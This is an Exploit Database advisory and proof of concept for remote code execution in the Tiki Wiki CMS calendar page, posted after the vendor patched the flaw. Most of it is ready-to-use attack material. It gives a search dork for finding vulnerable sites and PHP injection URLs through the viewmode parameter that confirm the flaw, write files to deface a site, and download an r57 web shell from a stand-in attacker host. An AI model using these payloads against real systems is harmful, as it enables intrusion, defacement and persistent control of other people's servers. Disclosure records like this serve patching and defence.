Tiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 – Remote Code Execution

• Exploit Database
• 39 阅读

• 作者： Dany Ouellet
  日期： 2016-06-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39965/

• # Exploit Title: Tiki-Calendar-RCE
  # Google Dork: inurl:tiki-calendar.php
  # Date: 2015-12-16
  # Exploit Author: Dany Ouellet
  # Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
  # Software Link: https://tiki.org/Download
  # Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched)
  # Tested on: Windows and Linux
  
  Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the
  vulnerability directly to vendor and a patch is now avalaible. So I release
  the exploit. ;)
  
  PoC:
  
  Validate the vulnerability:
  
  http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a='
  
  Write or deface the site:
  
  http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27
  
  Execute a php shellcode:
  
  http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27